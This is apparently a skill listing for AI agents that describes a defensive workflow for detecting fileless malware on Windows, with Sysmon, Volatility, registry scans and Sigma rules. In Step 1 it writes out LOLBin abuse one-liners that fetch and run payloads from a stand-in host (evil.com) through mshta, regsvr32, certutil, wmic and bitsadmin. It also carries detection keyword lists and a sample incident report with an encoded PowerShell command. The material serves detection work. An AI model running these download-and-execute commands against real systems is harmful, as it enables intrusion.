detecting-fileless-malware-techniques
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
Best use case
detecting-fileless-malware-techniques is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
Teams using detecting-fileless-malware-techniques should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/detecting-fileless-malware-techniques/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How detecting-fileless-malware-techniques Compares
| Feature / Agent | detecting-fileless-malware-techniques | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# Detecting Fileless Malware Techniques
## When to Use
- EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
- Investigating attacks that leave no traditional malware files on disk
- Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
- Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
- Memory forensics reveals malicious code but no corresponding files exist on the filesystem
**Do not use** for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.
## Prerequisites
- Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
- PowerShell Script Block Logging and Module Logging enabled
- Volatility 3 for memory forensics of fileless malware artifacts
- Process Monitor (ProcMon) for real-time system activity monitoring
- Windows Event Log access with adequate retention policies
- Autoruns for identifying persistence mechanisms
## Workflow
### Step 1: Identify LOLBin Usage
Detect abuse of legitimate Windows binaries for malicious purposes:
```
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locations
```
### Step 2: Detect WMI-Based Persistence
Analyze WMI event subscriptions used for fileless persistence:
```bash
# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list
# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
```
```python
# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET
# WMI Event Filter creation (EID 19)
result = subprocess.run(
["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
"/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
capture_output=True, text=True
)
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
if not event_xml.strip():
continue
try:
root = ET.fromstring(event_xml + "</Event>")
eid = root.find(".//e:System/e:EventID", ns).text
data = {}
for d in root.findall(".//e:EventData/e:Data", ns):
data[d.get("Name")] = d.text
if eid == "19":
print(f"[!] WMI Filter Created: {data.get('Name')}")
print(f" Query: {data.get('Query')}")
elif eid == "20":
print(f"[!] WMI Consumer Created: {data.get('Name')}")
print(f" Type: {data.get('Type')}")
print(f" Destination: {data.get('Destination')}")
elif eid == "21":
print(f"[!] WMI Binding Created")
print(f" Consumer: {data.get('Consumer')}")
print(f" Filter: {data.get('Filter')}")
except:
pass
```
### Step 3: Detect Registry-Resident Payloads
Find malicious code stored in the Windows Registry:
```bash
# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s
# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul
# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64
suspicious_keys = [
(winreg.HKEY_CURRENT_USER, r"Software"),
(winreg.HKEY_LOCAL_MACHINE, r"Software"),
]
def scan_registry(hive, path, depth=0):
if depth > 3:
return
try:
key = winreg.OpenKey(hive, path)
i = 0
while True:
try:
name, value, vtype = winreg.EnumValue(key, i)
if isinstance(value, str) and len(value) > 500:
# Check for Base64-encoded content
try:
decoded = base64.b64decode(value[:100])
print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
except:
pass
# Check for PowerShell keywords
if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
print(f"[!] PowerShell in registry: {path}\\{name}")
i += 1
except WindowsError:
break
# Recurse into subkeys
j = 0
while True:
try:
subkey = winreg.EnumKey(key, j)
scan_registry(hive, f"{path}\\{subkey}", depth + 1)
j += 1
except WindowsError:
break
except:
pass
for hive, path in suspicious_keys:
scan_registry(hive, path)
PYEOF
```
### Step 4: Analyze Memory for Fileless Artifacts
Use memory forensics to find in-memory-only malware:
```bash
# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind
# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"
# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"
# Scan for known fileless frameworks
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "
rule Fileless_PowerShell {
strings:
\$s1 = \"System.Reflection.Assembly\" ascii wide
\$s2 = \"[System.Convert]::FromBase64String\" ascii wide
\$s3 = \"Invoke-Expression\" ascii wide
\$s4 = \"DownloadString\" ascii wide
condition:
2 of them
}
"
# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
strings memory.dmp | grep -i "invoke-\|iex \|downloadstring\|-encodedcommand"
```
### Step 5: Build Comprehensive Detection Rules
Create detection content for fileless techniques:
```yaml
# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
category: process_creation
product: windows
detection:
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http'
- 'vbscript:'
- 'javascript:'
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: '/i:http'
selection_wmic:
Image|endswith: '\wmic.exe'
CommandLine|contains: '/format:http'
condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high
```
```yaml
# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
product: windows
service: sysmon
detection:
selection:
EventID:
- 19 # WMI EventFilter
- 20 # WMI EventConsumer
- 21 # WMI FilterConsumerBinding
condition: selection
level: medium
```
### Step 6: Document Fileless Attack Chain
Map the complete fileless attack lifecycle:
```
Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
OR Web exploit -> regsvr32/certutil (scriptlet download)
Phase 2 - Execution:
PowerShell downloads and executes script in memory
.NET Assembly.Load() for reflective loading
WMI process creation for lateral movement
Phase 3 - Persistence:
WMI event subscription (survives reboots)
Registry-stored encoded payload (loaded by Run key)
Scheduled task executing inline PowerShell
Phase 4 - Privilege Escalation:
PowerShell with Invoke-Mimikatz (in-memory credential theft)
Named pipe impersonation via WMI
Phase 5 - Lateral Movement:
WMI remote process creation (no file transfer needed)
PowerShell remoting (WinRM)
PsExec via WMI
Phase 6 - Exfiltration:
PowerShell HTTP POST to C2
DNS tunneling via Invoke-DNSExfiltration
Cloud storage API (OneDrive, Google Drive)
```
## Key Concepts
| Term | Definition |
|------|------------|
| **Fileless Malware** | Malware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk |
| **LOLBins (Living Off the Land Binaries)** | Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting |
| **WMI Event Subscription** | Windows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events |
| **Registry-Resident Payload** | Malicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key |
| **Reflective Loading** | Loading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk |
| **In-Memory Execution** | Running code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters |
| **Script Block Logging** | Windows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility |
## Tools & Systems
- **Sysmon**: System Monitor providing detailed event logging for process creation, WMI events, registry changes, and network connections
- **Autoruns**: Sysinternals tool showing all auto-start locations including WMI subscriptions, scheduled tasks, and registry entries
- **Volatility**: Memory forensics framework for detecting in-memory code, injected processes, and fileless malware artifacts
- **Process Monitor**: Real-time monitoring of file system, registry, and process activity for observing fileless attack behavior
- **LOLBAS Project**: Community-documented catalog of LOLBin abuse techniques at https://lolbas-project.github.io/
## Common Scenarios
### Scenario: Investigating a Fileless Attack Using WMI Persistence
**Context**: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.
**Approach**:
1. Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism
2. Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload
3. Decode the PowerShell command (typically Base64-encoded with -enc flag)
4. Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload
5. Analyze memory dump for reflectively loaded assemblies and injected code
6. Check registry for additional stored payloads referenced by the PowerShell script
7. Map the complete attack chain from initial access through persistence and lateral movement
**Pitfalls**:
- Not having Sysmon WMI event logging enabled (Events 19/20/21) before the incident
- Rebooting the system before capturing a memory dump (destroys in-memory evidence)
- Focusing only on file-based IOCs when the attack is entirely fileless
- Missing the initial access vector because the LOLBin execution left minimal traces
## Output Format
```
FILELESS MALWARE ANALYSIS REPORT
===================================
Incident: INC-2025-2847
Attack Type: Fileless (no malware files on disk)
INITIAL ACCESS
Vector: Phishing email with macro-enabled document
LOLBin Chain: WINWORD.EXE -> mshta.exe -> powershell.exe
PERSISTENCE MECHANISM
Type: WMI Event Subscription
Filter Name: WindowsUpdateCheck
Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 300
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer: CommandLineEventConsumer
Command: powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42
REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script
MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
- CobaltStrike beacon detected via YARA
- C2: hxxps://185.220.101[.]42/updates
EXTRACTED IOCs
C2 IP: 185.220.101[.]42
WMI Filter: WindowsUpdateCheck
Registry Path: HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc
MITRE ATT&CK
T1059.001 PowerShell
T1546.003 WMI Event Subscription
T1218.005 Mshta
T1112 Modify Registry
T1055.012 Process Hollowing
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